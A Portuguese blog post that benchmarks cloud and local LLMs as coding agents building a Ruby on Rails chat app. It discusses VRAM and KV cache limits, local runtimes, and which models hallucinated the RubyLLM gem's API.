• Thakur, N. et al. (2021). BEIR: A Heterogenous Benchmark for Zero-shot Evaluation of Information Retrieval Models. NeurIPS Datasets and Benchmarks 2021.
• Anthropic (2024). Introducing Contextual Retrieval. Blog técnico.
• Akita, F. (2026). O código fonte do Claude Code vazou. O que achamos dentro. — minha cobertura do leak, com mais detalhe sobre arquitetura de memória, KAIROS e autoDream.

TL;DR: Se você não quer ler a análise inteira: os únicos modelos que geraram código que funciona de verdade no nosso benchmark foram Claude Opus 4.7, Claude Opus 4.6, GLM 5 e GLM 5.1 (da Z.AI, ~89% mais baratos que Opus). O Sonnet também funciona nesse benchmark, mas na prática falha em projetos que exijam raciocínio mais profundo — detalhes na conclusão. O GPT 5.4, que antes estava no Tier 1 pelo meu aval pessoal, agora tem dados objetivos via Codex CLI: gastou 7.6M tokens ($16/run) e errou a convenção de chamada do add_message — funciona na primeira mensagem, quebra no multi-turn. Caiu pro Tier 2. O resto — Kimi, DeepSeek, MiniMax, Qwen, Gemini, Grok 4.20 — inventou APIs que não existem ou ignorou o gem pedido.

Tem uma novidade nesse update: refiz a parte local do benchmark numa RTX 5090 (em vez do AMD Strix Halo) e adicionei um lote de modelos Qwen, incluindo um Qwen 3.5 27B distilado direto do Claude 4.6 Opus. Isso reabriu a conversa sobre rodar modelo open source localmente. A banda de memória da 5090 muda o jogo de “inviável” pra “viável com 1-2 prompts de correção”. E o gargalo dos modelos open source virou falta de conhecimento factual sobre bibliotecas, coisa que eu explico em detalhe na nova seção sobre a família Qwen. A aposta da distilação do Claude, aliás, deu um resultado bem frustrante que eu nunca tinha visto documentado nesses termos.

Se você acompanhou meus artigos anteriores sobre vibe coding, sabe que passei os últimos dois meses numa maratona de mais de 500 horas usando Claude Opus como coding agent principal. Os resultados foram bons, como reportei na conclusão sobre modelos de negócio. Mas ficou uma coceira: será que eu estou preso num único modelo? Tem alternativa real ao Claude Opus pra uso diário em projetos de verdade?

Tenho uma RTX 5090 com 32 GB de GDDR7. Sei que posso rodar os modelos open source mais recentes. Comprei um Minisforum MS-S1 com AMD Ryzen AI Max 395 e 128 GB de memória unificada, e montei um home server com Docker pra servir modelos locais. A infraestrutura estava pronta. Faltava testar de verdade.

Construí um benchmark automatizado pra comparar modelos open source e comerciais em condições idênticas. 33 modelos configurados ao todo (25 da rodada original mais 8 adicionados na rerodada na NVIDIA), 27 executados, 16 completados de alguma forma. O código está no GitHub.

O gargalo que ninguém explica: VRAM e KV Cache

Antes de falar dos resultados, preciso explicar por que rodar modelos grandes localmente é muito mais difícil do que parece.

Pega o Qwen3 32B como exemplo. O modelo em FP16 (precisão total) ocupa ~64 GB. Quantizado em Q4 (4 bits), cai pra ~19 GB. Então cabe nos 32 GB da minha RTX 5090, certo? Errado. Esse é só o peso do modelo. Falta a parte que ninguém conta pra você: o KV Cache.

KV Cache é a memória que o modelo usa pra “lembrar” o que já leu. Cada vez que processa um token (uma palavra ou pedaço de palavra), ele calcula dois vetores — K (key) e V (value) — pra cada camada de atenção. Esses vetores ficam armazenados pra que não precise recalcular tudo quando gera o próximo token. Sem isso, a geração seria quadraticamente lenta.

O KV Cache escala linearmente com o tamanho do contexto. A fórmula:

Memória KV = 2 × Camadas × Cabeças_KV × Dimensão_Cabeça × Bytes_por_Elemento × Tokens_no_Contexto

Pra um modelo como o Llama 3.1 70B em BF16, isso dá ~0.31 MB por token. Parece pouco, até você perceber que um contexto de 128K tokens consome 40 GB só de KV Cache. O modelo em si + KV Cache = muito mais VRAM do que a maioria das GPUs tem.

E pra uso real com coding agents, 128K tokens não é luxo — é necessidade. O agent precisa ler arquivos, manter histórico de conversação, receber output de comandos. Em sessões longas de benchmark, nossos modelos consumiram entre 39K e 156K tokens. Menos de 100K de contexto não é prático pra projetos do dia a dia.

O Google publicou o TurboQuant (ICLR 2026), que comprime o KV Cache pra 3 bits sem perda de acurácia — redução de 6x na memória e até 8x de speedup. Usa rotação aleatória de vetores (PolarQuant) seguida de um algoritmo de 1 bit nos resíduos. Funciona online durante inferência, comprimindo na escrita e descomprimindo na leitura. Ainda não está implementado nos runtimes que usamos (llama.cpp, Ollama), mas quando chegar vai mudar bastante a equação.

Pra quem quer se aprofundar nessa matemática de VRAM, recomendo este link do Ahmad Osman pro artigo “GPU Memory Math for LLMs (2026 Edition)”.

O problema do hardware: memória não é toda igual

“Mas eu tenho 128 GB de RAM!” Legal, mas não é isso que importa. O que importa é largura de banda de memória, e a diferença entre tipos é absurda:

A RTX 5090 tem 7x mais bandwidth que a memória LPDDR5x do meu Minisforum. Isso significa que mesmo que o modelo caiba na RAM unificada do AMD, a inferência vai ser proporcionalmente mais lenta. No meu Minisforum com LPDDR5x a 256 GB/s, o Qwen3 32B roda a ~7 tok/s. Na RTX 5090 a 1.792 GB/s, seria muito mais rápido — se coubesse inteiro na VRAM junto com o KV Cache.

A maioria das pessoas rodando modelos locais ainda está em DDR4. A 50 GB/s, modelos de 32B ficam praticamente unusáveis. E tem outro fator que pouca gente lembra: storage. Quando a RAM não dá conta e o sistema faz swap, a velocidade do armazenamento vira o gargalo:

De SATA pra NVMe Gen5 são 22x de diferença. Se você está fazendo offloading parcial pro disco (comum quando o modelo não cabe inteiro na GPU), NVMe Gen4 ou Gen5 faz diferença real. SATA é inviável.

Resumindo: rodar modelos locais não é só “ter RAM suficiente”. Precisa do tipo certo de memória, com a bandwidth certa, e storage rápido como fallback. Pra muita gente, um Mac Studio com memória unificada de alta bandwidth (até 800 GB/s nos M4 Ultra com 512 GB) seria a opção mais prática, mas custa mais de US$ 10.000. O AMD Ryzen AI Max é a alternativa mais acessível com memória unificada, mas o LPDDR5 fica limitado a 256 GB/s.

Ollama vs llama.cpp: por que o Ollama falha pra benchmarks

O Ollama é a forma mais popular de rodar modelos locais. Instala, puxa o modelo, roda. Pra uso casual funciona. Mas quando tentei usar pra benchmarks automatizados, sessões longas sem intervenção humana, quebrou de 6 formas diferentes em 8 modelos:

1. Descarrega o modelo no meio da sessão. Em runs longos, o Ollama decide que o modelo não está sendo usado e descarrega da GPU. O agent fica esperando resposta de um modelo que não existe mais.
2. Ignora o contexto solicitado. Você pede num_ctx=131072, o Ollama aceita, e no meio do run reverte pro padrão sem avisar.
3. Lifecycle instável. Pedir keep_alive: 0 pra descarregar nem sempre funciona. O modelo fica residente e bloqueia o próximo.
4. Formatos incompatíveis. Variantes bf16 nativas do Ollama falhavam, enquanto o mesmo modelo como GGUF Q8 do HuggingFace funcionava sem problemas.

A solução: migrar pro llama-swap, um wrapper Go que gerencia processos llama.cpp com hot-swap. Chega um request pra um modelo diferente do que está carregado, ele mata o processo atual e inicia o novo. Sem negociação de contexto, sem lifecycle instável.

O llama-swap resolveu o carregamento de 6 dos 8 modelos que falharam no Ollama:

Mas o llama-swap não é mágico.

Por que “só usar llama.cpp” não resolve tudo

O llama.cpp resolve os problemas de lifecycle do Ollama mas traz os próprios:

Cada modelo precisa de flags específicas. GLM e Qwen 3.5 emitem <think> tags que quebram clientes se você não passar --reasoning-format none. Gemma 4 precisa de build b8665+ pro parser de tool calls funcionar.

Nem todo modelo suporta tool calling. O llama.cpp precisa de um parser dedicado pro formato de tool call de cada modelo. O Llama 4 Scout usa um formato “pythonic” ([func(param="value")]) que o llama.cpp simplesmente não parseia, emite como texto puro. O vLLM tem parser pra isso, o llama.cpp não.

E tem os repetition loops. O Gemma 4, mesmo com o parser certo, entra em loop infinito depois de ~11 tool calls em sessões longas. É um bug conhecido que o PR #21418 não resolveu completamente.

Compatibilidade de tool calling por modelo:

No fim das contas, llama.cpp é melhor que Ollama pra runs automatizados, mas “plug and play” não é. Cada modelo exige configuração específica, e alguns simplesmente não funcionam pra agentic coding ainda.

Reasoning: modelos que pensam vs modelos que chutam

Tem uma diferença entre modelos que vale explicar: reasoning. A ideia é que o modelo “pensa antes de responder” em vez de gerar tokens direto da esquerda pra direita. Modelos com reasoning fazem uma etapa interna de cadeia de pensamento (chain-of-thought) onde avaliam o problema, consideram alternativas, planejam, e só depois emitem a resposta.

Na prática, isso aparece como <think>...</think> tags no output, blocos de texto que o modelo gera pra si mesmo, que não devem ir pro usuário final. Claude Opus 4.6, GPT 5.4, DeepSeek V3.2 e a linha Qwen 3.5 suportam reasoning nativamente. Os menores (Gemma 4, GPT OSS 20B, modelos mais antigos) não têm essa capacidade.

Por que importa pra coding? Quando um coding agent recebe “construa um app Rails com 9 componentes”, ele precisa decompor a tarefa em passos, decidir a ordem, antecipar dependências, adaptar quando algo falha. Sem reasoning, o modelo gera código sequencialmente sem planejamento. Funciona pra tarefas simples, desmorona em projetos com partes interdependentes.

No benchmark, a diferença ficou clara:

• GPT OSS 20B (sem reasoning, 20B parâmetros) criou o app no diretório errado. Não conseguiu manter o contexto das instruções de workspace enquanto gerava código.
• Qwen 3 32B tem reasoning, mas a 7 tok/s era lento demais. Os tokens de “pensamento” aumentam o tempo de geração.
• Gemma 4 31B, sem reasoning treinado pra uso agentic, entrou em loops repetitivos de tool calling.
• GLM 5 (cloud, 745B MoE) com reasoning e 44B parâmetros ativos, completou limpo e usou a API correta.

Tem um trade-off: reasoning consome tokens extras (os <think> blocks), que ocupam VRAM no KV Cache e desaceleram a geração. Por isso flags como --reasoning-format none são necessárias no llama.cpp. Alguns clientes não sabem o que fazer com reasoning tokens e quebram. Modelos que emitem reasoning sem que o runtime espere podem gerar lixo no output.

E reasoning não é algo que você “liga” num modelo qualquer. É uma capacidade treinada com reinforcement learning em cima do modelo base, usando dados de problemas que exigem raciocínio multi-step. Os modelos open source menores (20B-35B) tipicamente não passaram por esse treinamento, ou passaram em escala menor. Eles sabem gerar código, mas não sabem planejar código. Em tarefas que exigem 50+ tool calls coordenadas, essa diferença mata.

O benchmark: metodologia

Pra comparar modelos de forma justa, construí um harness automatizado em Python. Cada modelo recebe exatamente o mesmo prompt: construir uma aplicação Ruby on Rails completa, um chat SPA tipo ChatGPT usando o gem RubyLLM, com Hotwire/Stimulus/Turbo Streams, Tailwind CSS, testes Minitest, ferramentas de CI (Brakeman, RuboCop, SimpleCov, bundle-audit), Dockerfile, docker-compose e README.

O runner é o opencode, uma das CLIs de coding open source mais populares, competindo com Claude Code e Codex. Vale um esclarecimento: o autor original saiu do projeto e foi tocar o Crush junto com a equipe da Charm (o pessoal por trás do Bubble Tea, Lip Gloss e várias outras ferramentas de terminal em Go), mas o restante do time original continuou evoluindo o opencode normalmente — o projeto não foi descontinuado. Hoje os dois coexistem. Se você leu meu artigo sobre o Crush, já conhece essa vertente. Ambos rodam em tudo: macOS, Linux, Windows, Android, FreeBSD.

Na verdade, tentei usar o Crush primeiro pro benchmark. O problema: ele anunciava uma flag --yolo no help pra auto-aprovar todas as ações (essencial pra runs automatizados sem intervenção humana), mas na hora de rodar, rejeitava a flag. Sem auto-approve, não dá pra fazer benchmark desacompanhado. O opencode, por outro lado, tinha o modo opencode run --agent build --format json que emite eventos JSON com session IDs e contagem de tokens, perfeito pra automação. Então ficamos com o opencode.

Escolhi o opencode (e não Claude Code ou Codex) por dois motivos:

1. Neutralidade. Claude Code é otimizado pra modelos Anthropic. Codex é otimizado pra modelos OpenAI. O opencode é agnóstico, mesma interface pra todos.
2. Automação. O opencode expõe um formato JSON legível por máquina. Claude Code e Codex não têm interface equivalente pra benchmarking externo.

Modelos cloud rodaram em duas fases: fase 1 (construir o app) e fase 2 (validar boot local, docker build, docker compose). Modelos locais rodaram só fase 1.

Detalhe que vale mencionar: o benchmark inteiro custou menos de $10 em tokens no OpenRouter. Tirando o GPT 5.4 Pro que torrou $7.20 pra falhar, os outros 11 modelos cloud somaram uns $2.50 no total. Modelos locais custam só eletricidade. O ponto é: rodar seu próprio benchmark é barato. Se você quer saber se um modelo funciona pro seu caso de uso, gaste os $2 e teste. O código do harness está no GitHub, é só trocar o prompt pelo seu projeto.

Por que o GPT 5.4 falhou no benchmark (mas não na vida real)

O GPT 5.4 Pro é o único modelo cloud que falhou consistentemente no nosso benchmark. Duas runs separadas, mesmo resultado: o modelo gerou arquivos mas nunca chegou a finish_reason: stop. Sempre terminava com finish_reason: tool-calls — queria continuar chamando tools mas o loop se quebrava.

Pra quem não sabe: tool calling é quando um LLM precisa executar uma ação (ler um arquivo, rodar um comando, editar código) e emite uma “chamada de ferramenta” num formato estruturado. O client (opencode, Claude Code, Codex) interpreta, executa, e devolve o resultado pro modelo. Cada provedor tem seu formato: a Anthropic usa tool_use blocks, a OpenAI usa function_calling com JSON schemas, o Google usa FunctionCall.

O GPT 5.4 é fortemente treinado pro formato nativo de function calling da OpenAI — tool_choice, tools com JSON schemas proprietários. Quando o benchmark rota por opencode → OpenRouter → GPT 5.4, os schemas de tools são traduzidos em cada hop. Se o GPT emite tool calls num formato que o OpenRouter ou opencode não parseia corretamente, o loop do agent quebra.

A evidência: todos os outros modelos cloud (Claude Opus, Claude Sonnet, Kimi K2.5, DeepSeek V3.2, MiniMax M2.7, GLM 5, Qwen 3.6 Plus, Step 3.5 Flash) terminaram com finish_reason: stop. Só o GPT termina com finish_reason: tool-calls.

Comparação justa do GPT 5.4 exigiria rodar no ambiente nativo. E agora temos essa comparação: construímos suporte pra automatizar o Codex CLI (codex exec com --dangerously-bypass-approvals-and-sandbox e reasoning effort xhigh) e rodamos o mesmo benchmark. O GPT 5.4 completou em 22 minutos, gerou todos os 9 artefatos, escreveu 22 testes com a arquitetura mais sofisticada do benchmark inteiro: injeção de dependência do client RubyLLM, PORO models pra ChatMessage e PromptSubmission, session-backed ChatSession com TTL e trimming de mensagens, bin/ci script.

Mas o código quebra na segunda mensagem. O GPT 5.4 usa chat.add_message(role:, content:) com keyword arguments em vez de hash posicional chat.add_message({role:, content:}) — isso causa ArgumentError: wrong number of arguments (given 0, expected 1) na primeira troca multi-turn. A primeira mensagem funciona (usa chat.ask direto), o multi-turn não.

E o custo: 7.6 milhões de tokens no reasoning effort xHigh. São 65x mais tokens que o Opus 4.7 (118K) pro mesmo benchmark. Custo estimado de ~$16 por run, contra ~$1.10 do Opus. Gastou 15x mais e ainda errou a convenção de chamada. Nem budget de token gigantesco nem reasoning effort máximo garante acerto factual numa API de gem. Conhecimento de API é memória binária, não é função de quanto o modelo “pensa”.

Com dados objetivos em mãos, o GPT 5.4 sai do Tier 1 e vai pro Tier 2. A arquitetura que ele gera é melhor que a do Opus em termos de design patterns. Mas o código precisa de correção pra rodar multi-turn, e o custo por token é proibitivo.

O Sonnet e o Opus via opencode/OpenRouter também provavelmente não foram usados ao máximo da capacidade. O Claude Code oferece suporte nativo de tools que o opencode não replica — o que significa que os resultados do benchmark representam um piso, não um teto, pra esses modelos.

Modelos open source: a realidade vs a narrativa

Tem muita gente dizendo que modelos open source já alcançaram os comerciais e que dá pra rodar seu próprio “Claude” em casa. Na prática, não é bem assim.

A escala não é comparável. Modelos frontier como Claude Opus 4.6 e GPT 5.4 são closed-source, mas estimativas indicam que estão na faixa de centenas de bilhões a trilhões de parâmetros, treinados com compute e dados que nenhuma empresa open source replica. Os melhores modelos que cabem num hardware razoável são:

Correção pós-publicação: o Qwen 3.5 35B na verdade é o 35B-A3B, um MoE com só 3B de parâmetros ativos por token (não denso, como eu tinha colocado originalmente). Isso explica por que ele roda relativamente rápido pro tamanho. E pra quem tem 24 GB de VRAM, o modelo recomendado pela própria Unsloth é o Qwen 3.5 27B denso — esse eu não cheguei a testar no benchmark, mas fica como recomendação. Pra quem quer se aprofundar em modelos locais, vale acompanhar o trabalho do @sudoingX, que tem feito experimentação séria nessa frente. Valeu @thpmacedo pelo toque.

Mesmo os maiores modelos open source MoE (Mixture of Experts) que as empresas disponibilizam publicamente ativam poucos parâmetros por token:

Esses modelos grandes não são self-hostáveis. O Kimi K2.5 com 1T parâmetros precisa de clusters de GPUs com centenas de GBs de VRAM. O GLM 5 com 745B idem. Mesmo que a Alibaba ou a Z.AI liberem os pesos (e algumas liberam), ninguém tem hardware doméstico pra rodar eles.

O que cabe na sua GPU doméstica são os modelos de 20B-35B — e esses têm limitações reais.

O que cada modelo local fez no benchmark

Resultados da rodada original no AMD Strix Halo:

Qwen 3 Coder Next (30B) — Completou em 17 minutos no Strix, gerou 1675 arquivos, app Rails com todos os artefatos. Mas só 3 testes. E o mais importante: inventou RubyLLM::Client.new, uma classe que não existe no gem. O app não roda.

Qwen 3.5 35B — Completou em 28 minutos no Strix, 1478 arquivos, 11 testes. Usou RubyLLM.chat sem parâmetro de modelo — funciona só se o default estiver configurado. Sem mocking de LLM nos testes.

Qwen 3.5 122B — Completou em 43 minutos no Strix, 1503 arquivos, 16 testes. Mas ignorou o gem RubyLLM completamente e construiu um cliente HTTP customizado pro OpenRouter. O prompt pedia explicitamente pra usar ruby_llm.

GLM 4.7 Flash (local, Strix) — Produziu 2029 arquivos com todos os artefatos, mas a sessão terminou mid-tool-call. O modelo cloud (GLM 5) funciona perfeitamente.

Gemma 4 31B (Strix) — Loop infinito de tool calls depois de ~11 steps produtivos. Bug conhecido do llama.cpp.

GPT OSS 20B (Strix) — Criou o app Rails no diretório errado (project/app/ em vez de project/). Um modelo de 20B não segue instruções de workspace de forma confiável.

Qwen 3 32B (Strix) — Lento demais (7.3 tok/s). Hardware não dá conta.

E os resultados da rerodada na NVIDIA RTX 5090 (todos com Q3_K_M ou Q4_K_M e contexto entre 64k e 128k pra caber nos 32 GB de VRAM):

Qwen 3.5 35B-A3B (5090) — 5 minutos a 273 tok/s. Projeto Rails reconhecível, entry point RubyLLM.chat(model:) está certo, mas alucina chat.add_message(role:, content:) e chat.complete em vez de .ask. Dá pra arrumar em 1-2 follow-ups. O melhor candidato a “OSS local que vale a pena tentar”.

Qwen 3.5 27B Claude-distilado (5090) — 12 minutos a 129 tok/s. Estilo Claude impecável, alucinação total da API (RubyLLM::Chat.new.with_model{}, add_message, response.text). Mais detalhes na seção de distilação abaixo.

Qwen 3 Coder 30B (5090) — 6 minutos a 145 tok/s. Devolveu uma string mockada hardcoded em vez de chamar a API. Tier 3 inutilizável.

Qwen 2.5 Coder 32B (5090) — 90 minutos de timeout, zero arquivos. Modelo girou sem nunca chamar tool de write.

Qwen 3 32B (5090) — 4 minutos a 69 tok/s, scaffold parcial, errors. Versão geral é melhor que a Coder mas ainda quebra.

Gemma 4 31B (5090) — 8 minutos a 213 tok/s. Mesmo loop de repetição que tinha no Strix. Bug do llama.cpp não é hardware.

Qwen 3.5 27B Sushi Coder RL (5090) — Falha de infra (ProviderModelNotFoundError), não foi possível avaliar. Refazer numa próxima rodada.

GPT OSS 20B (5090) — Tirado da rodada por regressão recente do llama.cpp main no parser de tool calls da família harmony. Os logs mostram Failed to parse input at pos 755: <|channel|>... em sessões multi-turn. Funcionava no Strix com o llama.cpp b8643, quebrou no main de hoje. Aguardando upstream consertar.

Modelos cloud: o que funciona de verdade

Dos 12 modelos que completaram o benchmark, todos geraram um projeto Rails reconhecível com todos os artefatos pedidos (Gemfile, routes, views, JS, testes, README, Dockerfile, docker-compose). 9 de 9 no checklist de completude.

Mas aí vem a pergunta que importa: o código roda?

A API correta do RubyLLM é simples:

chat = RubyLLM.chat(model: "anthropic/claude-sonnet-4")
response = chat.ask("Hello")
response.content  # => "Hi there!"

8 dos 12 modelos inventaram APIs que não existem. O padrão mais comum: alucinação de uma interface que não é a do gem real:

Os modelos que acertaram — os dois Claudes, o GLM 5 e o GLM 5.1 — usaram o padrão simples de duas etapas (chat = RubyLLM.chat(model:) depois chat.ask(message)). Os que erraram tentaram fazer o RubyLLM parecer com o SDK Python da OpenAI, que é outra coisa. O Grok 4.20 foi o caso mais cínico: nem tentou usar o gem, foi direto pro OpenAI::Client apontando pra URL do OpenRouter, ignorando o pedido explícito do prompt.

E os testes? Só Opus, Sonnet, GLM 5 e GLM 5.1 fizeram mocking correto das chamadas LLM. Todos os outros ou batiam na API real (que falha sem chave) ou mockavam a API inventada (testes passam mas não provam nada). Contagem de testes é uma métrica enganosa: o Kimi K2.5 escreveu 37 testes, mais que qualquer outro, mas nenhum testa a funcionalidade real porque a API que ele usa não existe.

Tabela de viabilidade real

*Step 3.5 Flash funciona chamando a API REST do OpenRouter direto com Net::HTTP, contornando completamente o gem que o prompt pedia.

Agora, isso não quer dizer que esses modelos são inúteis. Se você pegar o Kimi K2.5 ou o DeepSeek V3.2 e mandar “a classe RubyLLM::Client não existe, corrija pra usar a API real do gem”, provavelmente vai corrigir. Um ou dois follow-ups e o projeto fica funcional. A maioria dos modelos que falharam aqui conseguiria entregar um projeto rodando com mais algumas rodadas de conversa.

Só que aí está o trade-off. Com Opus ou GPT 5.4, o primeiro output já funciona. Pede, entrega, testa, roda. Com os modelos mais baratos, você vai gastar tempo corrigindo alucinações de API, debugando código que “parece certo” mas crasha, guiando o modelo na direção certa. Cada rodada dessas são 10-30 minutos. Três rodadas extras e você gastou uma hora do seu tempo pra economizar $0.90 de tokens.

Economiza dólar, gasta tempo. E tempo é dinheiro. Pra quem está aprendendo ou explorando sem pressa, essa troca pode fazer sentido. Pra quem precisa entregar, os modelos frontier se pagam rápido.

Comparação dos modelos que funcionam

Ranking completo por tempo e tokens

O DeepSeek V3.2 é o mais lento apesar de ser cloud — não tem prompt caching, então reenvia o contexto completo a cada turno.

Eficiência de tokens e cache

Modelos com prompt caching pagam muito menos tokens efetivos:

Velocidade: o abismo entre cloud e local

Tem um aspecto que as tabelas de custo escondem: velocidade de inferência. E a diferença é brutal.

O Claude Sonnet gera 532 tok/s. O Qwen 3.5 122B rodando local no meu Minisforum (AMD Strix Halo) gera 22 tok/s. São 24x de diferença. Na prática, o que o Sonnet faz em 16 minutos, o Qwen 3.5 122B leva 43 minutos. O Qwen 3 Coder Next a 37 tok/s é o mais rápido dos locais no Strix e mesmo assim é 14x mais lento que o Sonnet.

E não é só tempo de relógio. Quando você está num loop de coding interativo — pede uma mudança, espera o output, testa, pede outra — a velocidade do modelo define seu ritmo. A 37 tok/s, cada resposta longa te faz esperar 30-60 segundos. A 530 tok/s, aparece quase instantaneamente. Ao longo de um dia, você sente.

O DeepSeek V3.2 é um caso curioso: é cloud mas roda a 53 tok/s, mais lento que o Qwen 3.5 35B local no Strix (46 tok/s). O motivo é que o DeepSeek não tem prompt caching — reenvia o contexto completo a cada turno, estrangulando o throughput. Pagar por um modelo cloud mais lento que rodar local não faz sentido nenhum.

Modelos locais são grátis em tokens, mas pagam em tempo. No AMD Strix, essa conta era inviável pra todos os Qwen que testei: dois minutos esperando uma resposta longa, multiplicado por 50 turnos, é tarde inteira. Mas isso muda quando o hardware muda, e foi por isso que rerodei a parte local do benchmark numa máquina diferente.

AMD Strix Halo vs NVIDIA RTX 5090: o que muda quando a banda de memória dobra

Pra checar se o gargalo era hardware ou modelo, peguei os mesmos modelos Qwen e refiz o benchmark numa workstation com NVIDIA RTX 5090 (Blackwell, 32 GB GDDR7, 1.792 GB/s de banda). Os números mudam de uma forma que vale ver com calma.

Pra contextualizar essas velocidades, lembra que no cloud o Sonnet roda a 532 tok/s, o Opus a 347 tok/s, o Step 3.5 Flash a 242 tok/s, o Gemini 3.1 Pro a 128 tok/s e o Kimi K2.5 a 160 tok/s. O Qwen 3.5 35B-A3B na 5090, a 273 tok/s, está na faixa do Step 3.5 Flash, mais rápido que Gemini, Kimi e GLM 5.1. O Qwen 3 Coder 30B a 145 tok/s está na faixa do Gemini. A frase clássica “modelo local é dez vezes mais lento que cloud” parou de valer no momento que a 5090 entrou na conta.

A consequência prática é que o argumento “tempo é dinheiro” muda de figura. No Strix, “esperar 1 hora pra um Qwen 3.5 122B fazer o que o Sonnet faz em 16 minutos” é pura perda. Na 5090, esperar 5 minutos pra o Qwen 3.5 35B-A3B fazer o trabalho, mais 10-15 minutos pra você fazer 1-2 prompts de correção, dá um total na faixa de 20-25 minutos. O Sonnet faz em 16 minutos com zero correção. A diferença ficou pequena o suficiente pra que, se custo importa muito, valha a pena.

A pegadinha: pra que isso valha a pena, o modelo precisa estar perto o suficiente da resposta certa pra que 1-2 prompts de correção resolvam. Quando o erro é do tipo “o modelo decidiu não usar o gem que pedi e devolveu uma string mockada”, como fez o Qwen 3 Coder 30B, nenhum prompt de correção fácil arruma. Isso é refazer.

Antes que você gaste em hardware achando que é a saída

Tenho que dar um aviso, porque é o erro de compra mais comum que vejo agora. Toda hora aparece alguém dizendo que vai pegar um Ryzen AI Max porque tem 128 GB de memória unificada e isso “permite rodar modelos enormes”. Tecnicamente, sim — o modelo cabe. Na prática, é quase inutilizável. A memória é LPDDR5x a 256 GB/s, sete vezes mais lenta que a GDDR7 da 5090. O que cabe não roda em velocidade humana. Meu próprio Strix com Qwen 3.5 122B chegou a 22 tok/s e o run levou 43 minutos. Pra fazer qualquer coisa de verdade no dia a dia, isso é impraticável.

A 5090 é claramente superior, e começa a fazer sentido até pra modelos menores justamente por causa da banda de memória. Mac Studio com memória unificada de alta velocidade (até 800 GB/s nos M4 Ultra) é a outra opção viável, e custa proporcionalmente o mesmo. Mas nenhuma das duas chega perto de bater os modelos comerciais em qualidade — e o preço de Claude, GPT ou GLM por token, somado à velocidade brutal de inferência deles, faz a conta ser difícil de justificar pra quem não é entusiasta ou pesquisador. Hardware caro de IA local é hobby de fim de semana, ferramenta pra quem precisa rodar offline por compliance, ou playground de pesquisa. Pra trabalho de produção dia após dia, no momento atual, cloud ainda é a escolha racional. Ryzen AI Max com 128 GB pode parecer tentador na planilha, mas se a ideia é coding agent sério, é dinheiro mal gasto.

A família Qwen: Coder vs Geral, distilação, e por que nada é bala de prata

Com tantos Qwens diferentes rodando nessa rerodada, dá pra fazer uma análise mais focada. O que aprendi é capaz de surpreender quem segue benchmark de modelo no Twitter.

Antes de ir aos resultados: o que é quantização e o que é distilação

Os dois conceitos aparecem o tempo todo nessa discussão e merecem uma explicação curta.

Quantização é a técnica de comprimir os pesos do modelo pra ocupar menos memória. Um modelo treinado em FP16 (16 bits por peso) pode ser quantizado pra Q8 (8 bits), Q4 (4 bits), Q3_K_M (3 bits, mas com agrupamentos médios), e por aí vai. Cada passo divide o tamanho do modelo em disco e na VRAM, ao custo de uma certa perda de precisão. Q8 é praticamente lossless. Q4 já perde alguma coisa mensurável. Q3 perde mais. Q2 é o limite onde o modelo começa a falar besteira de verdade. A regra de ouro é que pra coding e raciocínio multi-step, vale ficar em Q4 ou acima. Q3_K_M é o mínimo que ainda funciona pra muitos modelos, e é o que cabe num 27B na 5090 com 128k de contexto.

A surpresa do meu teste, e olha que isso vai contra o consenso, é que a quantização não foi o gargalo aqui. Rodei o Qwen 3.5 27B Claude-distilado em duas versões: Q8 no AMD Strix (~27 GB de pesos) e Q3_K_M na 5090 (~12 GB de pesos). Ambos alucinaram exatamente as mesmas APIs falsas do RubyLLM. O Q3_K_M até gerou um Gemfile mais limpo. A limitação do modelo estava no que esses pesos sabem, não na precisão com que eles foram comprimidos.

Distilação é a técnica de treinar um modelo menor (o “aluno”) pra imitar a saída ou o comportamento de um modelo maior (o “professor”). A versão clássica é distilação de logits — o aluno aprende a aproximar as distribuições de probabilidade do professor. A versão moderna, mais popular pra coding agents, é distilação de traços de raciocínio (reasoning traces): você pega cadeias de pensamento do modelo grande pra problemas reais e treina o menor a reproduzir o mesmo estilo de raciocínio.

O hype do momento é distilar Claude e GPT em modelos open source. A promessa é que dá pra ter “Claude-em-casa” rodando local. Eu queria testar isso, e foi por isso que coloquei no benchmark o Jackrong’s Qwen 3.5 27B distilado do Claude 4.6 Opus. Se algum modelo open source ia conseguir usar o RubyLLM corretamente, era essa aposta — afinal, no benchmark inteiro, Claude e GLM 5 são os únicos que acertam a API.

O que o Claude-distilled aprendeu (e o que não aprendeu)

Rodei a mesma distilação duas vezes: uma em Q8 no AMD Strix (que estourou no timeout de 90 minutos), outra em Q3_K_M na 5090 (completou em 12 minutos). Em ambas, o resultado é a mesma frustração elegante.

O código que sai parece Claude. Tem # frozen_string_literal: true no topo de todo arquivo. Tem uma classe Response separada como value object com leitores de atributo explícitos. Tem separação clara entre service, controller e model. Tem comentário de doc no topo de cada arquivo. Comenta corretamente coisas como active_record, active_job e action_mailer no application.rb. Tem case defensivo tentando múltiplos formatos de retorno. Estilisticamente, é Claude.

Funcionalmente, é alucinação completa do RubyLLM. Olha o serviço gerado pelo run da 5090:

RubyLLM::Chat.new.with_model(@model) do |chat|
  conversation_history.each do |msg|
    chat.add_message(role: :user, content: msg[:content])
  end
  response = chat.ask(message)
  Response.new(content: response.text, usage: build_usage(response))
end

Cada primitiva nesse código é inventada:

• RubyLLM::Chat.new — o construtor não é público, o entry correto é RubyLLM.chat(model:)
• .with_model(@model) do |chat| ... end — não existe API de bloco assim
• chat.add_message(role:, content:) — não existe
• response.text — a API real expõe response.content
• response.usage.prompt_tokens — o objeto não tem essa forma

Isso vai estourar NoMethodError na primeira request. O initializer também tenta config.openrouter_api_base= que não existe no RubyLLM.configure, então o app provavelmente nem boota.

A versão Q8 no AMD Strix faz exatamente o mesmo, com uma diferença: a chamada de entrada é RubyLLM.chat(model:, provider: :openrouter) — o entry point está certo, mas o provider: é inventado e logo em seguida vem o mesmo chat.add_message(role:, content:) falso. Pior, o Gemfile do run de 90 minutos lista gem "ruby-openai" (gem errada!), gem "minitest", "~> 6.0" (não existe minitest 6.0) e gem "tailwindcss" (nome errado, é tailwindcss-rails). O Gemfile não inclui o gem que o próprio service tenta usar.

Pra comparar, olha o Claude Opus 4.6 baseline real, no mesmo benchmark, acertando tudo:

@chat = RubyLLM.chat(model: model_id)
response = @chat.ask(message)
response.content

Doze linhas no service inteiro. Sem alucinação. Inclui streaming via bloco. O modelo distilado produziu o triplo do volume de código e errou a API.

